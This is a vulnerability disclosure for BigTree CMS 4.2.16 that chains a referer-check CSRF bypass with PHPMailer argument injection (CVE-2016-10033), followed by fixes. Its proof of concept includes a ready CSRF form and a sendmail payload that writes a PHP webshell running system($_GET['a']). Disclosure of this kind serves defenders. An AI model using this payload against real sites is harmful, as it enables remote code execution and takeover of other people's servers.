BigTree CMS - Bypass CSRF filter and execute code with PHPMailer
[Penetration Testing]
CSRF Protection Bypass and PHPMailer Remote Code Execution
Vulnerability Type: Cross-Site Request Forgery (CAPEC-62, CWE-352)
Author: [email protected]
Vendor Homepage: https://www.bigtreecms.org/
Software Link: https://github.com/bigtreecms
Version: v.4.2.16
DESCRIPTION
PHPMailer RCE (CVE-2016-10033)
An independent research uncovered a critical vulnerability in PHPMailer (version < 5.2.20) that could potentially be used by (unauthenticated) remote attackers to achieve remote arbitrary code execution in the context of the web server user and remotely compromise the target web application.
PHPMailer uses the Sender
variable to build the params string. Then PHPMailer::send()
would call PHP native function mail()
to execute /usr/bin/sendmail
with the arguments in $this->Sender
According to my analysis, if we can control the value of Sender
, we can let sendmail
save the context (<?php phpinfo()?>) to any given path (/var/www/html/shell.php), which means code execution.
PHPMailer in BigTree CMS
BigTree CMS include PHPMailer in /core/inc/bigtree/utils.php
static function sendEmail($to,$subject,$html,$text = "",$from = false,$return = false,$cc = false,$bcc = false,$headers = array()) {
$mailer = new PHPMailer;
foreach ($headers as $key => $val) {
$mailer->addCustomHeader($key,$val);
}
$mailer->Subject = $subject;
if ($html) {
$mailer->isHTML(true);
$mailer->Body = $html;
$mailer->AltBody = $text;
} else {
$mailer->Body = $text;
}
if (!$from) {
$from = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
$from_name = "BigTree CMS";
} else {
// Parse out from and reply-to names
$from_name = false;
$from = trim($from);
if (strpos($from,"<") !== false && substr($from,-1,1) == ">") {
$from_pieces = explode("<",$from);
$from_name = trim($from_pieces[0]);
$from = substr($from_pieces[1],0,-1);
}
}
$mailer->From = $from;
$mailer->FromName = $from_name;
$mailer->Sender = $from;
The right way to set the value of Sender
is using secure method $mailer->setForm()
,but here the function passes $from
to $mailer->Sender
directly without any validation.
Go finding the call to function sendEmail()
.
/core/inc/bigtree/apis/email-service.php
function sendEmail($subject,$body,$to,$from_email = false,$from_name = false,$reply_to = false,$text = "") {
...
if ($this->Service == "local") {
return BigTree::sendEmail($to,$subject,$body,$text,($from_name ? "$from_name <$from_email>" : $from_email),$reply_to);
}
...
}
Finding call to this function.
/core/inc/bigtree/admin.php
line 2526
static function forgotPassword($email) {
...
$es = new BigTreeEmailService;
// Only use a custom email service if a from email has been set
if ($es->Settings["bigtree_from"]) {
$reply_to = "no-reply@".(isset($_SERVER["HTTP_HOST"]) ? str_replace("www.","",$_SERVER["HTTP_HOST"]) : str_replace(array("http://www.","https://www.","http://","https://"),"",DOMAIN));
$es->sendEmail("Reset Your Password",$html,$user["email"],$es->Settings["bigtree_from"],"BigTree CMS",$reply_to);
}
...
}
Finding how to manage the value of $es->Settings["bigtree_from"]
/core/admin/modules/developer/email/update.php
line 16
...
$settings["settings"]["bigtree_from"] = $_POST["bigtree_from"];
$admin->updateSettingValue("bigtree-internal-email-service",$settings);
...
Now the transfer route is clear:
$_POST["bigtree_from"];
-> $settings["settings"]["bigtree_from"]
-> $es->Settings["bigtree_from"]
-> $from_email
-> $from
-> $mailer->Sender
The entry $_POST["bigtree_from"];
is generated by "Developer / Email Delivery" form.
But unfortunately it requires admin privilege, So I have to see if CSRF works.
CSRF Filter Bypass
Then I found its CSRF filter at
/core/admin/modules/developer/_header.php
line 3
if (count($_POST)) {
$clean_referer = str_replace(array("http://","https://"),"//",$_SERVER["HTTP_REFERER"]);
$clean_admin_root = str_replace(array("http://","https://"),"//",ADMIN_ROOT)."developer/";
// The referer MUST contain a URL from within the developer section to post to it.
if (strpos($clean_referer,$clean_admin_root) === false) {
die();
}
}
It can be simply bypassed with:
https://attacker_host/?url=http://target_host/admin/developer/
PROOF OF CONCEPT EXPLOIT
Specific process is divided into the following four steps:
- Upload csrf.html to his public server, then send a CSRF probe to admin.
- Admin triggers CSRF, sending a POST request to updates mail settings.
- Request a mail from CMS, hence the PHPMailer will create a webshell.
- Execute commands with webshell.
Step1
CSRF probe
http://attacker_server/csrf.html?url=http://bigtreeCMS/admin/developer/
csrf.html
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/bigtree/BigTree-CMS/admin/developer/email/update/" method="POST">
<input type="hidden" name="service" value="local" />
<input type="hidden" name="bigtree_from" value="?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
payloads in csrf.html
?php;system($_GET['a']);/* -X/var/www/html/final.php @xxx
(<>
was filtered in backend, so I use /*
to comment the following text)
Step2
Step3
Trigger PHPMailer at "forgot-password" form (unauthorized).
Then /var/www/html/final.php
will be created with PHP codes inside.
Step4
Execute system commands with webshell.
SOLUTION
- Update PHPMailer to latest version.
- Use secure method "setFrom()" to set the value of "Sender".
- Strengthen CSRF protection.